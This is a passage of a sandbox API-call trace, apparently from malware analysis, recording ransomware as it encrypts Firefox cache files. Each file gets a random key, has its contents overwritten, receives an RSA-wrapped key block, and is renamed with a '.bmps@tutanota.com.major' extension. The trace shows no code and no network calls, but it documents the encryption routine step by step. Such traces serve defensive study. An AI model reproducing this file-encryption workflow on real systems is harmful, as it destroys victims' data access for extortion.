lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.344] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.344] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.345] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.345] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mW/w4/lNnaBmzwJWPDcQg5QT/UQZQKFx4sHriW7Y4FtUnpXAtblMWwKYE57PSjDI\nCcNECiubOJ7/uJ6oLEqn7uNLJLQ6dSAzatN9Qnu4O3Xaa8AZYiRIJwdUpNMANjIf\nvRxs0MAQOcixLqWIg0QU+wSU95HVvSzOJWk7hqaifNeax1LtRMnh5lXCDmhNgGm1\nK4tno6WOjrEpjCxd0Dxi81ENQd5xUIQeos6EWwCSnCERZq+GSiVZC2LXaiSM7t7p\nHngD4lYHq9yo1ajTvRybr+vfvx7zH5UdFwHYNdxBsMX/+CB2SbiBQy/lD7uOMH8U\nQ7Rq+5k37JPkLh5kjV4kIA==\n", pcchString=0x2e3f9a8) returned 1 [0258.345] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.345] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.345] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.345] CloseHandle (hObject=0x1b84) returned 1 [0258.346] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad7a5673189c3d8259e7b3fe0033e19e1674cc68"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad7a5673189c3d8259e7b3fe0033e19e1674cc68.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.348] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.348] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC", dwFileAttributes=0x80) returned 1 [0258.349] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x23135, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x23135, lpOverlapped=0x0) returned 1 [0258.373] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-143669, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.373] WriteFile (in: hFile=0x1b84, lpBuffer=0x346d190*, nNumberOfBytesToWrite=0x23135, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x346d190*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23135, lpOverlapped=0x0) returned 1 [0258.374] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23135 [0258.374] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.374] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.375] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.375] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.375] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.375] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Mk+pm421Dg8Q8VooUcXK0hhvNWjL5uC6RQa5LRcsY59g//2ox41M/CtA95OoYjAb\nPrSYiHDN76mG4nzOJr4vkOTn188mwpCoqE8MO+S1QcJ8ltrlMgbtWEAkoBT2i9te\nA9Uy3UIrqENSfyBWFgQVxrPLUXi8RHHSwrftzvOMfy/o/gpsP+cReXgpQltSt/hK\ntbZHFMCxK3INxR1jm2iiH6HwKxH5VQD+49DMyXErpMOMB4xnQFgbIY8NhBjsMzZY\n5eKPbBQFXTiXkKdjdcG7oxaFRvY/x41adYMRTOLqkfTIxXL2U7n099p+qV3e7B0Z\n//+cE8SBO18mZxaToGtuYA==\n", pcchString=0x2e3f9a8) returned 1 [0258.375] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.375] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.375] CloseHandle (hObject=0x1b84) returned 1 [0258.376] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad75170afd4083df36f2fb2a0ff4f5f235daaccc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad75170afd4083df36f2fb2a0ff4f5f235daaccc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.377] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.377] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918", dwFileAttributes=0x80) returned 1 [0258.378] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x95a7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x95a7, lpOverlapped=0x0) returned 1 [0258.395] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-38311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.395] WriteFile (in: hFile=0x1b84, lpBuffer=0x3453600*, nNumberOfBytesToWrite=0x95a7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3453600*, lpNumberOfBytesWritten=0x2e3f9b4*=0x95a7, lpOverlapped=0x0) returned 1 [0258.395] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x95a7 [0258.395] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.396] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.396] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.396] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="t2jHUNEIcLDmuItwo5dQzryCPutSftfjjSUgkHoREFlG5USaM/8jkG8pHKuTo33C\nL8F4iGCHvm/C9m8dzsT+LNxHHqi8aOzKt6/9OQ7Yd/tYxtV5AlCuNrRWXdthw8Ey\nNL6qAGvT6xPz077Eq7h/lh2OMnF1DwxyQN60Kt3IoVgeim5PSixxCdU3BXcuvEga\ntY++n6GdoGvWrTHMv/rKiX6a7rVNxYNq2T02308wsyoQWEZ8EPn6TyfQChAQqPMl\nabjhN+AfpwcWVUd/crsobije3YgmyWjaE4ml7pJlCxg8GueqTXV2EjsR47dG+Gxb\nxNuKeR8gyWPD6If6YLZXPA==\n", pcchString=0x2e3f9a8) returned 1 [0258.397] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.397] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.397] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.397] CloseHandle (hObject=0x1b84) returned 1 [0258.397] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad723e2a38015428896dfdc95ed19ace3c651918"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad723e2a38015428896dfdc95ed19ace3c651918.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.400] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC", dwFileAttributes=0x80) returned 1 [0258.400] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0258.426] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.426] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af88*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af88*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0258.427] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf30 [0258.427] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.427] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.427] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.427] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.427] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.428] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3dknI/j3oZ9ZDYOg/5qGmTqT/ggVojqzGDC4wbnTYa2WaBK54b+0LvywShpDuCbt\nNtNbk5+pic+UBnDR19tlhaogUyKa0yo2wR1uhfaJyKsKe1FpHpYnBVmgZ5wyRyR5\nKYz89QGidf/ETqFsMaFc3nTwEk9L1w6ahmMPnHA6x8zlX67SOVpuTKvywkFvPAz2\nO9pEAUA/UbKKFRzxnM45mY7jUSPOHvs4ssIYbzDeGVJ0CZSlDgO/bNgjAftCZaXa\n+497ujdGcLL/MVoB3pnXW4eenVEZ+uYa09oyYYFyTMTGm5osW1CdHxxHoBt2kaJs\naDLRRFxUAfPNhe8Hxi6Chw==\n", pcchString=0x2e3f9a8) returned 1 [0258.428] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.428] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.428] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.428] CloseHandle (hObject=0x1b84) returned 1 [0258.428] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad5cc6c3ef654a81613fc58f5b9093e21c3626fc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad5cc6c3ef654a81613fc58f5b9093e21c3626fc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.430] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.430] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825", dwFileAttributes=0x80) returned 1 [0258.430] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x17c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x17c0, lpOverlapped=0x0) returned 1 [0258.434] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.434] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b818*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17c0, lpOverlapped=0x0) returned 1 [0258.434] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17c0 [0258.434] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.434] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.434] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.434] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="es5VAUtMIAsM283hud50jzbNN2iOP67K7CPGWxJIvqfPR76z1zO/16sSYINRjE7L\nbOfEvtC63kBLgiP6w/WOBdQ5Jq+TF/vHhxFFUq4IGoRApAPKWUkl9FuSkdib7+tn\nem2IKzGMtmgyC+fzHM0RUMBqHHlcP//OB40Ezs0+BegUGwJA2q+a9Zue5kZIEXzl\nbcjh62p8GVXK/qv9b5yi+BTtxkJlNvzQFU1zAXGrVwpBWZMqoFlTvgHjfzomNmlp\nhzGTtOEDOK1fd6mvmmGyIfOxo6/XnB/0TBOIOqn/Sh0MFyjRlgRAY0R+dJbqFUtC\nN1znOoIs8T1kSI2bMroBYA==\n", pcchString=0x2e3f9a8) returned 1 [0258.435] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.435] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.435] CloseHandle (hObject=0x1b84) returned 1 [0258.435] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ac31bef2ddb621646dc1fc9ff5f5ead1f4b6d825"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ac31bef2ddb621646dc1fc9ff5f5ead1f4b6d825.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.437] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.437] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377", dwFileAttributes=0x80) returned 1 [0258.437] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x132f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x132f, lpOverlapped=0x0) returned 1 [0258.438] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.438] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b388*, nNumberOfBytesToWrite=0x132f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x132f, lpOverlapped=0x0) returned 1 [0258.439] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x132f [0258.439] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.439] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.439] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.439] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.439] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.439] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="A/GDG5URC2PC+mFtzXftbqeWGQkDmeSkvbCs3oCEZuiGaSm99/xtJbCSpSChLn3i\nBJ07FORJFyqXZRlO0syqmmhj7jEYh7yHt8H1KG2SpqZ8MX+zpy6++y+pD8nAcj9I\nf/LIuFjdmMDWxp5fk1DnKeYdPXoJrt1DMpPqX8jdMvLyFWcSFdD7+0JXEEXbLTLp\njVnFUgj2JW1h4bYNZbIwjqtT3/+lhYTBBheVDYDmg8K1oiZB/h5YI9Y9aoxBvLYB\nLTMi66LdSrRiVk/CrYXiMax8OSP6AcCbqqquNlJnVA1N1F/wYMzeyV4YwZZJCYY+\nbKrVOtDp8leB5AxDoJDQYA==\n", pcchString=0x2e3f9a8) returned 1 [0258.439] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.440] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.440] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.440] CloseHandle (hObject=0x1b84) returned 1 [0258.440] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab64da67cfd54d7d76a690466131cf5944f86377"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab64da67cfd54d7d76a690466131cf5944f86377.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.441] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1", dwFileAttributes=0x80) returned 1 